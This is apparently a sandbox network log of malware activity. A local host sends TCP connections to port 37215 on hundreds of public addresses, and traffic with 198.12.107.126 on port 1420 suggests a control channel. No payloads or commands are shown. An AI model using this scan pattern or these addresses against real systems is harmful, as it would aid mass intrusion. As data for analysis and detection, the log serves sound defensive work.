Nov 3, 2024 15:37:18.431904078 CET	35945	37215	192.168.2.14	156.173.175.228
Nov 3, 2024 15:37:18.431915045 CET	35945	37215	192.168.2.14	41.86.48.109
Nov 3, 2024 15:37:18.431921005 CET	35945	37215	192.168.2.14	156.142.55.118
Nov 3, 2024 15:37:18.431922913 CET	35945	37215	192.168.2.14	41.32.31.177
Nov 3, 2024 15:37:18.431925058 CET	35945	37215	192.168.2.14	197.188.84.53
Nov 3, 2024 15:37:18.431927919 CET	35945	37215	192.168.2.14	41.45.118.179
Nov 3, 2024 15:37:18.431941986 CET	35945	37215	192.168.2.14	41.239.247.36
Nov 3, 2024 15:37:18.431946993 CET	35945	37215	192.168.2.14	156.145.34.67
Nov 3, 2024 15:37:18.431946993 CET	35945	37215	192.168.2.14	156.133.245.162
Nov 3, 2024 15:37:18.431952953 CET	35945	37215	192.168.2.14	41.224.95.11
Nov 3, 2024 15:37:18.431958914 CET	35945	37215	192.168.2.14	41.109.72.254
Nov 3, 2024 15:37:18.431958914 CET	35945	37215	192.168.2.14	156.14.153.130
Nov 3, 2024 15:37:18.431965113 CET	35945	37215	192.168.2.14	156.1.249.80
Nov 3, 2024 15:37:18.431965113 CET	35945	37215	192.168.2.14	197.53.238.224
Nov 3, 2024 15:37:18.431966066 CET	35945	37215	192.168.2.14	156.25.117.171
Nov 3, 2024 15:37:18.431966066 CET	35945	37215	192.168.2.14	156.115.38.110
Nov 3, 2024 15:37:18.431977987 CET	35945	37215	192.168.2.14	41.132.30.139
Nov 3, 2024 15:37:18.431981087 CET	35945	37215	192.168.2.14	41.86.72.229
Nov 3, 2024 15:37:18.431981087 CET	35945	37215	192.168.2.14	41.71.157.83
Nov 3, 2024 15:37:18.431981087 CET	35945	37215	192.168.2.14	156.7.221.148
Nov 3, 2024 15:37:18.431984901 CET	35945	37215	192.168.2.14	156.92.134.203
Nov 3, 2024 15:37:18.431988955 CET	35945	37215	192.168.2.14	156.111.123.158
Nov 3, 2024 15:37:18.431992054 CET	35945	37215	192.168.2.14	41.126.112.97
Nov 3, 2024 15:37:18.432009935 CET	35945	37215	192.168.2.14	197.66.177.19
Nov 3, 2024 15:37:18.432010889 CET	35945	37215	192.168.2.14	41.105.6.125
Nov 3, 2024 15:37:18.432009935 CET	35945	37215	192.168.2.14	41.106.59.101
Nov 3, 2024 15:37:18.432010889 CET	35945	37215	192.168.2.14	197.13.85.248
Nov 3, 2024 15:37:18.432013988 CET	35945	37215	192.168.2.14	197.236.119.244
Nov 3, 2024 15:37:18.432010889 CET	35945	37215	192.168.2.14	41.106.75.76
Nov 3, 2024 15:37:18.432014942 CET	35945	37215	192.168.2.14	156.119.63.217
Nov 3, 2024 15:37:18.432014942 CET	35945	37215	192.168.2.14	41.2.253.221
Nov 3, 2024 15:37:18.432023048 CET	35945	37215	192.168.2.14	156.216.127.16
Nov 3, 2024 15:37:18.432024002 CET	35945	37215	192.168.2.14	41.77.121.46
Nov 3, 2024 15:37:18.432024956 CET	35945	37215	192.168.2.14	197.111.192.143
Nov 3, 2024 15:37:18.432024002 CET	35945	37215	192.168.2.14	41.19.54.204
Nov 3, 2024 15:37:18.432028055 CET	35945	37215	192.168.2.14	41.248.207.242
Nov 3, 2024 15:37:18.432041883 CET	35945	37215	192.168.2.14	156.209.46.114
Nov 3, 2024 15:37:18.432041883 CET	35945	37215	192.168.2.14	41.112.248.143
Nov 3, 2024 15:37:18.432043076 CET	35945	37215	192.168.2.14	41.75.127.109
Nov 3, 2024 15:37:18.432055950 CET	35945	37215	192.168.2.14	156.52.195.199
Nov 3, 2024 15:37:18.432063103 CET	35945	37215	192.168.2.14	197.72.49.70
Nov 3, 2024 15:37:18.432063103 CET	35945	37215	192.168.2.14	156.130.32.57
Nov 3, 2024 15:37:18.432064056 CET	35945	37215	192.168.2.14	197.37.71.116
Nov 3, 2024 15:37:18.432063103 CET	35945	37215	192.168.2.14	197.215.121.42
Nov 3, 2024 15:37:18.432066917 CET	35945	37215	192.168.2.14	156.84.101.102
Nov 3, 2024 15:37:18.432066917 CET	35945	37215	192.168.2.14	156.202.7.28
Nov 3, 2024 15:37:18.432070017 CET	35945	37215	192.168.2.14	156.238.25.166
Nov 3, 2024 15:37:18.432071924 CET	35945	37215	192.168.2.14	41.62.90.219
Nov 3, 2024 15:37:18.432091951 CET	35945	37215	192.168.2.14	41.156.47.97
Nov 3, 2024 15:37:18.432094097 CET	35945	37215	192.168.2.14	156.229.87.220
Nov 3, 2024 15:37:18.432095051 CET	35945	37215	192.168.2.14	197.62.105.56
Nov 3, 2024 15:37:18.432095051 CET	35945	37215	192.168.2.14	197.162.153.126
Nov 3, 2024 15:37:18.432100058 CET	35945	37215	192.168.2.14	156.77.21.239
Nov 3, 2024 15:37:18.432101011 CET	35945	37215	192.168.2.14	156.12.241.8
Nov 3, 2024 15:37:18.432101011 CET	35945	37215	192.168.2.14	41.69.230.233
Nov 3, 2024 15:37:18.432104111 CET	35945	37215	192.168.2.14	156.216.89.198
Nov 3, 2024 15:37:18.432109118 CET	35945	37215	192.168.2.14	197.243.119.143
Nov 3, 2024 15:37:18.432121992 CET	35945	37215	192.168.2.14	41.5.63.136
Nov 3, 2024 15:37:18.432122946 CET	35945	37215	192.168.2.14	197.76.139.42
Nov 3, 2024 15:37:18.432122946 CET	35945	37215	192.168.2.14	156.157.182.252
Nov 3, 2024 15:37:18.432126999 CET	35945	37215	192.168.2.14	197.74.254.7
Nov 3, 2024 15:37:18.432138920 CET	35945	37215	192.168.2.14	197.75.169.2
Nov 3, 2024 15:37:18.432141066 CET	35945	37215	192.168.2.14	41.167.79.127
Nov 3, 2024 15:37:18.432142973 CET	35945	37215	192.168.2.14	41.54.134.117
Nov 3, 2024 15:37:18.432147026 CET	35945	37215	192.168.2.14	197.250.30.53
Nov 3, 2024 15:37:18.432158947 CET	35945	37215	192.168.2.14	197.209.235.241
Nov 3, 2024 15:37:18.432166100 CET	35945	37215	192.168.2.14	41.71.35.50
Nov 3, 2024 15:37:18.432166100 CET	35945	37215	192.168.2.14	41.46.38.95
Nov 3, 2024 15:37:18.432166100 CET	35945	37215	192.168.2.14	156.112.57.58
Nov 3, 2024 15:37:18.432179928 CET	35945	37215	192.168.2.14	41.130.104.63
Nov 3, 2024 15:37:18.432183981 CET	35945	37215	192.168.2.14	197.255.142.168
Nov 3, 2024 15:37:18.432189941 CET	35945	37215	192.168.2.14	41.220.5.47
Nov 3, 2024 15:37:18.432189941 CET	35945	37215	192.168.2.14	197.40.130.122
Nov 3, 2024 15:37:18.432189941 CET	35945	37215	192.168.2.14	41.112.148.223
Nov 3, 2024 15:37:18.432204008 CET	35945	37215	192.168.2.14	156.170.183.217
Nov 3, 2024 15:37:18.432210922 CET	35945	37215	192.168.2.14	41.115.198.206
Nov 3, 2024 15:37:18.432210922 CET	35945	37215	192.168.2.14	41.179.23.252
Nov 3, 2024 15:37:18.432212114 CET	35945	37215	192.168.2.14	156.173.105.230
Nov 3, 2024 15:37:18.432213068 CET	35945	37215	192.168.2.14	156.48.238.203
Nov 3, 2024 15:37:18.432213068 CET	35945	37215	192.168.2.14	41.70.186.204
Nov 3, 2024 15:37:18.432215929 CET	35945	37215	192.168.2.14	197.249.38.147
Nov 3, 2024 15:37:18.432215929 CET	35945	37215	192.168.2.14	41.12.156.103
Nov 3, 2024 15:37:18.432219028 CET	35945	37215	192.168.2.14	41.5.45.15
Nov 3, 2024 15:37:18.432250023 CET	35945	37215	192.168.2.14	156.150.60.171
Nov 3, 2024 15:37:18.432250977 CET	35945	37215	192.168.2.14	156.189.143.27
Nov 3, 2024 15:37:18.432250977 CET	35945	37215	192.168.2.14	156.205.85.60
Nov 3, 2024 15:37:18.432250977 CET	35945	37215	192.168.2.14	197.225.44.80
Nov 3, 2024 15:37:18.432250977 CET	35945	37215	192.168.2.14	197.78.79.89
Nov 3, 2024 15:37:18.432260036 CET	35945	37215	192.168.2.14	156.101.218.164
Nov 3, 2024 15:37:18.432260036 CET	35945	37215	192.168.2.14	197.43.27.106
Nov 3, 2024 15:37:18.432262897 CET	35945	37215	192.168.2.14	156.240.174.111
Nov 3, 2024 15:37:18.432262897 CET	35945	37215	192.168.2.14	156.183.227.27
Nov 3, 2024 15:37:18.432262897 CET	35945	37215	192.168.2.14	156.228.154.170
Nov 3, 2024 15:37:18.432264090 CET	35945	37215	192.168.2.14	41.214.141.66
Nov 3, 2024 15:37:18.432250977 CET	35945	37215	192.168.2.14	197.83.124.7
Nov 3, 2024 15:37:18.432262897 CET	35945	37215	192.168.2.14	156.202.162.62
Nov 3, 2024 15:37:18.432264090 CET	35945	37215	192.168.2.14	197.73.234.38
Nov 3, 2024 15:37:18.432262897 CET	35945	37215	192.168.2.14	197.73.48.183
Nov 3, 2024 15:37:18.432265043 CET	35945	37215	192.168.2.14	156.57.38.119
Nov 3, 2024 15:37:18.432264090 CET	35945	37215	192.168.2.14	197.175.88.96
Nov 3, 2024 15:37:18.432262897 CET	35945	37215	192.168.2.14	197.44.204.170
Nov 3, 2024 15:37:18.432275057 CET	35945	37215	192.168.2.14	156.132.51.70
Nov 3, 2024 15:37:18.432284117 CET	35945	37215	192.168.2.14	156.250.139.113
Nov 3, 2024 15:37:18.432285070 CET	35945	37215	192.168.2.14	197.90.112.248
Nov 3, 2024 15:37:18.432286978 CET	35945	37215	192.168.2.14	41.223.176.114
Nov 3, 2024 15:37:18.432290077 CET	35945	37215	192.168.2.14	197.140.46.53
Nov 3, 2024 15:37:18.432291031 CET	35945	37215	192.168.2.14	156.48.203.152
Nov 3, 2024 15:37:18.432290077 CET	35945	37215	192.168.2.14	197.86.233.131
Nov 3, 2024 15:37:18.432291985 CET	35945	37215	192.168.2.14	197.97.250.138
Nov 3, 2024 15:37:18.432310104 CET	35945	37215	192.168.2.14	41.221.121.45
Nov 3, 2024 15:37:18.432312965 CET	35945	37215	192.168.2.14	197.78.86.22
Nov 3, 2024 15:37:18.432318926 CET	35945	37215	192.168.2.14	41.192.168.219
Nov 3, 2024 15:37:18.432320118 CET	35945	37215	192.168.2.14	41.68.243.235
Nov 3, 2024 15:37:18.432334900 CET	35945	37215	192.168.2.14	156.49.18.183
Nov 3, 2024 15:37:18.432336092 CET	35945	37215	192.168.2.14	156.91.199.205
Nov 3, 2024 15:37:18.432337999 CET	35945	37215	192.168.2.14	156.86.104.224
Nov 3, 2024 15:37:18.432342052 CET	35945	37215	192.168.2.14	41.181.235.186
Nov 3, 2024 15:37:18.432348013 CET	35945	37215	192.168.2.14	197.243.166.113
Nov 3, 2024 15:37:18.432357073 CET	35945	37215	192.168.2.14	156.88.128.3
Nov 3, 2024 15:37:18.432363987 CET	35945	37215	192.168.2.14	41.125.112.226
Nov 3, 2024 15:37:18.432363987 CET	35945	37215	192.168.2.14	156.213.249.173
Nov 3, 2024 15:37:18.432364941 CET	35945	37215	192.168.2.14	197.91.140.108
Nov 3, 2024 15:37:18.432378054 CET	35945	37215	192.168.2.14	156.45.202.79
Nov 3, 2024 15:37:18.432387114 CET	35945	37215	192.168.2.14	41.175.40.154
Nov 3, 2024 15:37:18.432387114 CET	35945	37215	192.168.2.14	156.61.254.252
Nov 3, 2024 15:37:18.432396889 CET	35945	37215	192.168.2.14	156.50.250.167
Nov 3, 2024 15:37:18.432405949 CET	35945	37215	192.168.2.14	197.164.39.73
Nov 3, 2024 15:37:18.432411909 CET	35945	37215	192.168.2.14	156.120.205.221
Nov 3, 2024 15:37:18.432416916 CET	35945	37215	192.168.2.14	156.222.67.10
Nov 3, 2024 15:37:18.432416916 CET	35945	37215	192.168.2.14	156.79.86.120
Nov 3, 2024 15:37:18.432426929 CET	35945	37215	192.168.2.14	197.141.97.62
Nov 3, 2024 15:37:18.432435036 CET	35945	37215	192.168.2.14	41.25.66.59
Nov 3, 2024 15:37:18.432439089 CET	35945	37215	192.168.2.14	156.249.81.38
Nov 3, 2024 15:37:18.432441950 CET	35945	37215	192.168.2.14	197.74.62.253
Nov 3, 2024 15:37:18.432441950 CET	35945	37215	192.168.2.14	197.82.134.196
Nov 3, 2024 15:37:18.432447910 CET	35945	37215	192.168.2.14	41.210.226.246
Nov 3, 2024 15:37:18.432456017 CET	35945	37215	192.168.2.14	156.74.69.2
Nov 3, 2024 15:37:18.432456017 CET	35945	37215	192.168.2.14	41.26.185.25
Nov 3, 2024 15:37:18.432466984 CET	35945	37215	192.168.2.14	197.116.251.196
Nov 3, 2024 15:37:18.432470083 CET	35945	37215	192.168.2.14	197.217.12.118
Nov 3, 2024 15:37:18.432478905 CET	35945	37215	192.168.2.14	156.186.117.208
Nov 3, 2024 15:37:18.432482004 CET	35945	37215	192.168.2.14	156.0.121.65
Nov 3, 2024 15:37:18.432486057 CET	35945	37215	192.168.2.14	197.54.118.37
Nov 3, 2024 15:37:18.432503939 CET	35945	37215	192.168.2.14	41.247.9.153
Nov 3, 2024 15:37:18.432506084 CET	35945	37215	192.168.2.14	41.249.53.20
Nov 3, 2024 15:37:18.432538033 CET	39952	37215	192.168.2.14	197.90.159.24
Nov 3, 2024 15:37:18.432538033 CET	39952	37215	192.168.2.14	197.90.159.24
Nov 3, 2024 15:37:18.432575941 CET	40732	37215	192.168.2.14	197.90.159.24
Nov 3, 2024 15:37:18.432651043 CET	56188	37215	192.168.2.14	197.111.18.97
Nov 3, 2024 15:37:18.432651043 CET	56188	37215	192.168.2.14	197.111.18.97
Nov 3, 2024 15:37:18.432672977 CET	56968	37215	192.168.2.14	197.111.18.97
Nov 3, 2024 15:37:18.432672977 CET	47912	37215	192.168.2.14	197.16.70.251
Nov 3, 2024 15:37:18.432698011 CET	47912	37215	192.168.2.14	197.16.70.251
Nov 3, 2024 15:37:18.432706118 CET	48692	37215	192.168.2.14	197.16.70.251
Nov 3, 2024 15:37:18.432712078 CET	53970	37215	192.168.2.14	156.161.87.44
Nov 3, 2024 15:37:18.432712078 CET	53970	37215	192.168.2.14	156.161.87.44
Nov 3, 2024 15:37:18.432712078 CET	47976	37215	192.168.2.14	41.101.55.111
Nov 3, 2024 15:37:18.432713985 CET	54750	37215	192.168.2.14	156.161.87.44
Nov 3, 2024 15:37:18.432712078 CET	47976	37215	192.168.2.14	41.101.55.111
Nov 3, 2024 15:37:18.432734966 CET	48756	37215	192.168.2.14	41.101.55.111
Nov 3, 2024 15:37:18.432735920 CET	51816	37215	192.168.2.14	197.224.117.44
Nov 3, 2024 15:37:18.432742119 CET	51816	37215	192.168.2.14	197.224.117.44
Nov 3, 2024 15:37:18.432764053 CET	52594	37215	192.168.2.14	197.224.117.44
Nov 3, 2024 15:37:18.432765961 CET	54480	37215	192.168.2.14	41.247.170.119
Nov 3, 2024 15:37:18.432785034 CET	54480	37215	192.168.2.14	41.247.170.119
Nov 3, 2024 15:37:18.432787895 CET	55258	37215	192.168.2.14	41.247.170.119
Nov 3, 2024 15:37:18.432792902 CET	51862	37215	192.168.2.14	156.97.250.9
Nov 3, 2024 15:37:18.432792902 CET	51862	37215	192.168.2.14	156.97.250.9
Nov 3, 2024 15:37:18.432818890 CET	52640	37215	192.168.2.14	156.97.250.9
Nov 3, 2024 15:37:18.432823896 CET	39822	37215	192.168.2.14	41.69.242.159
Nov 3, 2024 15:37:18.432825089 CET	39822	37215	192.168.2.14	41.69.242.159
Nov 3, 2024 15:37:18.432840109 CET	40598	37215	192.168.2.14	41.69.242.159
Nov 3, 2024 15:37:18.432848930 CET	41452	37215	192.168.2.14	197.151.158.33
Nov 3, 2024 15:37:18.432848930 CET	41452	37215	192.168.2.14	197.151.158.33
Nov 3, 2024 15:37:18.432857990 CET	42226	37215	192.168.2.14	197.151.158.33
Nov 3, 2024 15:37:18.432869911 CET	56290	37215	192.168.2.14	156.112.101.146
Nov 3, 2024 15:37:18.432869911 CET	56290	37215	192.168.2.14	156.112.101.146
Nov 3, 2024 15:37:18.432887077 CET	57062	37215	192.168.2.14	156.112.101.146
Nov 3, 2024 15:37:18.432889938 CET	34834	37215	192.168.2.14	197.21.175.100
Nov 3, 2024 15:37:18.432889938 CET	34834	37215	192.168.2.14	197.21.175.100
Nov 3, 2024 15:37:18.432907104 CET	35606	37215	192.168.2.14	197.21.175.100
Nov 3, 2024 15:37:18.432909012 CET	44292	37215	192.168.2.14	156.54.59.119
Nov 3, 2024 15:37:18.432928085 CET	44292	37215	192.168.2.14	156.54.59.119
Nov 3, 2024 15:37:18.432929039 CET	45064	37215	192.168.2.14	156.54.59.119
Nov 3, 2024 15:37:18.432938099 CET	40914	37215	192.168.2.14	197.188.33.13
Nov 3, 2024 15:37:18.432938099 CET	40914	37215	192.168.2.14	197.188.33.13
Nov 3, 2024 15:37:18.432957888 CET	41686	37215	192.168.2.14	197.188.33.13
Nov 3, 2024 15:37:18.432965040 CET	56030	37215	192.168.2.14	41.235.192.220
Nov 3, 2024 15:37:18.432965040 CET	56030	37215	192.168.2.14	41.235.192.220
Nov 3, 2024 15:37:18.432970047 CET	56800	37215	192.168.2.14	41.235.192.220
Nov 3, 2024 15:37:18.432976007 CET	45662	37215	192.168.2.14	41.20.81.173
Nov 3, 2024 15:37:18.432976007 CET	45662	37215	192.168.2.14	41.20.81.173
Nov 3, 2024 15:37:18.433000088 CET	46432	37215	192.168.2.14	41.20.81.173
Nov 3, 2024 15:37:18.433002949 CET	45162	37215	192.168.2.14	197.100.11.182
Nov 3, 2024 15:37:18.433002949 CET	45162	37215	192.168.2.14	197.100.11.182
Nov 3, 2024 15:37:18.433012962 CET	45932	37215	192.168.2.14	197.100.11.182
Nov 3, 2024 15:37:18.433022022 CET	42402	37215	192.168.2.14	41.161.10.54
Nov 3, 2024 15:37:18.433022022 CET	42402	37215	192.168.2.14	41.161.10.54
Nov 3, 2024 15:37:18.433033943 CET	43170	37215	192.168.2.14	41.161.10.54
Nov 3, 2024 15:37:18.433048964 CET	45172	37215	192.168.2.14	197.90.144.201
Nov 3, 2024 15:37:18.433048964 CET	45172	37215	192.168.2.14	197.90.144.201
Nov 3, 2024 15:37:18.433051109 CET	45940	37215	192.168.2.14	197.90.144.201
Nov 3, 2024 15:37:18.433065891 CET	50084	37215	192.168.2.14	41.211.34.10
Nov 3, 2024 15:37:18.433065891 CET	50084	37215	192.168.2.14	41.211.34.10
Nov 3, 2024 15:37:18.433074951 CET	50852	37215	192.168.2.14	41.211.34.10
Nov 3, 2024 15:37:18.433090925 CET	33460	37215	192.168.2.14	41.97.40.64
Nov 3, 2024 15:37:18.433090925 CET	33460	37215	192.168.2.14	41.97.40.64
Nov 3, 2024 15:37:18.433090925 CET	34188	37215	192.168.2.14	41.97.40.64
Nov 3, 2024 15:37:18.436258078 CET	1420	34720	198.12.107.126	192.168.2.14
Nov 3, 2024 15:37:18.436269999 CET	37215	35945	156.126.82.132	192.168.2.14
Nov 3, 2024 15:37:18.436310053 CET	34720	1420	192.168.2.14	198.12.107.126
Nov 3, 2024 15:37:18.436330080 CET	35945	37215	192.168.2.14	156.126.82.132
Nov 3, 2024 15:37:18.437414885 CET	37215	39952	197.90.159.24	192.168.2.14
Nov 3, 2024 15:37:18.437551975 CET	37215	56188	197.111.18.97	192.168.2.14
Nov 3, 2024 15:37:18.437561989 CET	37215	47912	197.16.70.251	192.168.2.14
Nov 3, 2024 15:37:18.437627077 CET	37215	53970	156.161.87.44	192.168.2.14
Nov 3, 2024 15:37:18.437635899 CET	37215	47976	41.101.55.111	192.168.2.14
Nov 3, 2024 15:37:18.437652111 CET	37215	51816	197.224.117.44	192.168.2.14
Nov 3, 2024 15:37:18.437707901 CET	37215	54480	41.247.170.119	192.168.2.14
Nov 3, 2024 15:37:18.437720060 CET	37215	51862	156.97.250.9	192.168.2.14
Nov 3, 2024 15:37:18.437728882 CET	37215	39822	41.69.242.159	192.168.2.14
Nov 3, 2024 15:37:18.437746048 CET	37215	41452	197.151.158.33	192.168.2.14
Nov 3, 2024 15:37:18.437809944 CET	37215	56290	156.112.101.146	192.168.2.14
Nov 3, 2024 15:37:18.437819958 CET	37215	34834	197.21.175.100	192.168.2.14
Nov 3, 2024 15:37:18.437843084 CET	37215	44292	156.54.59.119	192.168.2.14
Nov 3, 2024 15:37:18.437850952 CET	37215	40914	197.188.33.13	192.168.2.14
Nov 3, 2024 15:37:18.437936068 CET	37215	56030	41.235.192.220	192.168.2.14
Nov 3, 2024 15:37:18.437944889 CET	37215	45662	41.20.81.173	192.168.2.14
Nov 3, 2024 15:37:18.437962055 CET	37215	45162	197.100.11.182	192.168.2.14
Nov 3, 2024 15:37:18.437972069 CET	37215	42402	41.161.10.54	192.168.2.14
Nov 3, 2024 15:37:18.437999010 CET	37215	45172	197.90.144.201	192.168.2.14
Nov 3, 2024 15:37:18.438009024 CET	37215	50084	41.211.34.10	192.168.2.14
Nov 3, 2024 15:37:18.438323975 CET	37215	33460	41.97.40.64	192.168.2.14
Nov 3, 2024 15:37:18.441124916 CET	1420	34720	198.12.107.126	192.168.2.14
Nov 3, 2024 15:37:18.448756933 CET	37215	50084	41.211.34.10	192.168.2.14
Nov 3, 2024 15:37:18.449186087 CET	37215	45172	197.90.144.201	192.168.2.14
Nov 3, 2024 15:37:18.449281931 CET	37215	44292	156.54.59.119	192.168.2.14
Nov 3, 2024 15:37:18.449366093 CET	37215	53970	156.161.87.44	192.168.2.14
Nov 3, 2024 15:37:18.449445009 CET	37215	33460	41.97.40.64	192.168.2.14
Nov 3, 2024 15:37:18.449536085 CET	37215	56030	41.235.192.220	192.168.2.14
Nov 3, 2024 15:37:18.449645042 CET	37215	56188	197.111.18.97	192.168.2.14
Nov 3, 2024 15:37:18.449780941 CET	37215	47976	41.101.55.111	192.168.2.14
Nov 3, 2024 15:37:18.449830055 CET	37215	41452	197.151.158.33	192.168.2.14
Nov 3, 2024 15:37:18.449908018 CET	37215	34834	197.21.175.100	192.168.2.14
Nov 3, 2024 15:37:18.450011015 CET	37215	45662	41.20.81.173	192.168.2.14
Nov 3, 2024 15:37:18.450092077 CET	37215	39822	41.69.242.159	192.168.2.14
Nov 3, 2024 15:37:18.450164080 CET	37215	45162	197.100.11.182	192.168.2.14
Nov 3, 2024 15:37:18.457259893 CET	59122	37215	192.168.2.14	197.198.148.45
Nov 3, 2024 15:37:18.457266092 CET	38030	37215	192.168.2.14	197.210.2.219
Nov 3, 2024 15:37:18.457267046 CET	36614	37215	192.168.2.14	197.142.193.102
Nov 3, 2024 15:37:18.457269907 CET	60842	37215	192.168.2.14	156.132.107.175
Nov 3, 2024 15:37:18.457271099 CET	58884	37215	192.168.2.14	41.45.170.50
Nov 3, 2024 15:37:18.457271099 CET	33452	37215	192.168.2.14	197.228.67.156
Nov 3, 2024 15:37:18.457273006 CET	57768	37215	192.168.2.14	197.35.59.141
Nov 3, 2024 15:37:18.457276106 CET	39492	37215	192.168.2.14	156.206.139.70
Nov 3, 2024 15:37:18.457278967 CET	45312	37215	192.168.2.14	41.196.87.252
Nov 3, 2024 15:37:18.457278967 CET	50508	37215	192.168.2.14	41.226.210.84
Nov 3, 2024 15:37:18.457284927 CET	45892	37215	192.168.2.14	197.161.72.192
Nov 3, 2024 15:37:18.457287073 CET	35386	37215	192.168.2.14	41.43.244.228
Nov 3, 2024 15:37:18.457289934 CET	56078	37215	192.168.2.14	156.173.8.123
Nov 3, 2024 15:37:18.457297087 CET	54768	37215	192.168.2.14	197.134.236.61
Nov 3, 2024 15:37:18.457315922 CET	56306	37215	192.168.2.14	156.4.82.191
Nov 3, 2024 15:37:18.457315922 CET	37116	37215	192.168.2.14	156.54.114.94
Nov 3, 2024 15:37:18.457315922 CET	47778	37215	192.168.2.14	41.170.131.147
Nov 3, 2024 15:37:18.457319021 CET	58136	37215	192.168.2.14	156.95.27.201
Nov 3, 2024 15:37:18.457319975 CET	33476	37215	192.168.2.14	156.103.60.216
Nov 3, 2024 15:37:18.457319975 CET	47108	37215	192.168.2.14	197.8.95.86
Nov 3, 2024 15:37:18.457320929 CET	58376	37215	192.168.2.14	41.189.102.116
Nov 3, 2024 15:37:18.457321882 CET	58370	37215	192.168.2.14	41.148.91.32
Nov 3, 2024 15:37:18.457323074 CET	52124	37215	192.168.2.14	41.43.59.187
Nov 3, 2024 15:37:18.457323074 CET	55504	37215	192.168.2.14	156.104.238.184
Nov 3, 2024 15:37:18.457323074 CET	52766	37215	192.168.2.14	197.144.161.163
Nov 3, 2024 15:37:18.457324982 CET	49204	37215	192.168.2.14	197.237.126.146
Nov 3, 2024 15:37:18.457329035 CET	34614	37215	192.168.2.14	156.89.94.83
Nov 3, 2024 15:37:18.457330942 CET	46168	37215	192.168.2.14	41.120.215.161
Nov 3, 2024 15:37:18.457333088 CET	40360	37215	192.168.2.14	156.52.174.31
Nov 3, 2024 15:37:18.457333088 CET	44834	37215	192.168.2.14	156.150.129.11
Nov 3, 2024 15:37:18.457334995 CET	35730	37215	192.168.2.14	156.223.190.37
Nov 3, 2024 15:37:18.457362890 CET	54306	37215	192.168.2.14	197.96.212.56
Nov 3, 2024 15:37:18.457366943 CET	38474	37215	192.168.2.14	197.201.248.7
Nov 3, 2024 15:37:18.457367897 CET	48520	37215	192.168.2.14	197.209.184.77
Nov 3, 2024 15:37:18.457369089 CET	59894	37215	192.168.2.14	197.184.254.212
Nov 3, 2024 15:37:18.457369089 CET	45062	37215	192.168.2.14	197.178.183.95
Nov 3, 2024 15:37:18.457369089 CET	42156	37215	192.168.2.14	156.161.128.73
Nov 3, 2024 15:37:18.457370043 CET	60076	37215	192.168.2.14	156.32.70.57
Nov 3, 2024 15:37:18.457370043 CET	53198	37215	192.168.2.14	197.154.154.127
Nov 3, 2024 15:37:18.457370043 CET	35904	37215	192.168.2.14	156.177.173.227
Nov 3, 2024 15:37:18.457370043 CET	47772	37215	192.168.2.14	156.251.175.176
Nov 3, 2024 15:37:18.457371950 CET	51246	37215	192.168.2.14	156.250.126.240
Nov 3, 2024 15:37:18.457371950 CET	44816	37215	192.168.2.14	156.172.44.144
Nov 3, 2024 15:37:18.457371950 CET	57382	37215	192.168.2.14	41.119.192.196
Nov 3, 2024 15:37:18.457371950 CET	58364	37215	192.168.2.14	197.162.187.45
Nov 3, 2024 15:37:18.457375050 CET	49948	37215	192.168.2.14	156.46.63.127
Nov 3, 2024 15:37:18.457396984 CET	39792	37215	192.168.2.14	197.133.46.246
Nov 3, 2024 15:37:18.457397938 CET	51108	37215	192.168.2.14	41.169.47.223
Nov 3, 2024 15:37:18.457397938 CET	33294	37215	192.168.2.14	197.9.181.39
Nov 3, 2024 15:37:18.457400084 CET	44174	37215	192.168.2.14	197.128.163.103
Nov 3, 2024 15:37:18.457397938 CET	45434	37215	192.168.2.14	197.199.193.81
Nov 3, 2024 15:37:18.457401037 CET	39360	37215	192.168.2.14	197.187.102.211
Nov 3, 2024 15:37:18.457401037 CET	46388	37215	192.168.2.14	156.99.16.69
Nov 3, 2024 15:37:18.457401037 CET	56358	37215	192.168.2.14	156.18.170.50
Nov 3, 2024 15:37:18.457406044 CET	57920	37215	192.168.2.14	197.86.63.36
Nov 3, 2024 15:37:18.457406044 CET	45492	37215	192.168.2.14	197.42.194.121
Nov 3, 2024 15:37:18.457408905 CET	33516	37215	192.168.2.14	197.165.253.160
Nov 3, 2024 15:37:18.457408905 CET	41262	37215	192.168.2.14	156.164.209.17
Nov 3, 2024 15:37:18.457408905 CET	38474	37215	192.168.2.14	156.171.10.118
Nov 3, 2024 15:37:18.457410097 CET	33422	37215	192.168.2.14	197.180.246.19
Nov 3, 2024 15:37:18.457413912 CET	60568	37215	192.168.2.14	156.66.120.45
Nov 3, 2024 15:37:18.457415104 CET	36000	37215	192.168.2.14	156.76.79.236
Nov 3, 2024 15:37:18.457415104 CET	54946	37215	192.168.2.14	41.138.3.85
Nov 3, 2024 15:37:18.457415104 CET	33556	37215	192.168.2.14	41.69.157.162
Nov 3, 2024 15:37:18.457417965 CET	33930	37215	192.168.2.14	156.77.41.62
Nov 3, 2024 15:37:18.457417965 CET	33602	37215	192.168.2.14	41.46.213.46
Nov 3, 2024 15:37:18.457417965 CET	35984	37215	192.168.2.14	41.191.220.250
Nov 3, 2024 15:37:18.457417965 CET	53632	37215	192.168.2.14	156.1.100.73
Nov 3, 2024 15:37:18.457421064 CET	51622	37215	192.168.2.14	156.253.94.64
Nov 3, 2024 15:37:18.457422018 CET	40484	37215	192.168.2.14	197.61.130.228
Nov 3, 2024 15:37:18.457422018 CET	51460	37215	192.168.2.14	197.77.9.49
Nov 3, 2024 15:37:18.457425117 CET	56708	37215	192.168.2.14	156.125.220.5
Nov 3, 2024 15:37:18.457427979 CET	59528	37215	192.168.2.14	41.35.188.21
Nov 3, 2024 15:37:18.457427979 CET	59706	37215	192.168.2.14	156.12.15.170
Nov 3, 2024 15:37:18.457432985 CET	60068	37215	192.168.2.14	156.41.151.105
Nov 3, 2024 15:37:18.457433939 CET	44396	37215	192.168.2.14	197.95.159.78
Nov 3, 2024 15:37:18.457436085 CET	50748	37215	192.168.2.14	197.193.109.8
Nov 3, 2024 15:37:18.457436085 CET	38964	37215	192.168.2.14	156.242.7.36
Nov 3, 2024 15:37:18.457437038 CET	53406	37215	192.168.2.14	156.23.22.42
Nov 3, 2024 15:37:18.457436085 CET	53874	37215	192.168.2.14	156.106.155.75
Nov 3, 2024 15:37:18.457448006 CET	42438	37215	192.168.2.14	197.252.222.59
Nov 3, 2024 15:37:18.457447052 CET	41844	37215	192.168.2.14	197.136.16.17
Nov 3, 2024 15:37:18.457448959 CET	51632	37215	192.168.2.14	156.225.238.60
Nov 3, 2024 15:37:18.457448006 CET	50218	37215	192.168.2.14	41.18.84.78
Nov 3, 2024 15:37:18.457447052 CET	45250	37215	192.168.2.14	156.58.86.200
Nov 3, 2024 15:37:18.457451105 CET	44086	37215	192.168.2.14	156.244.173.36
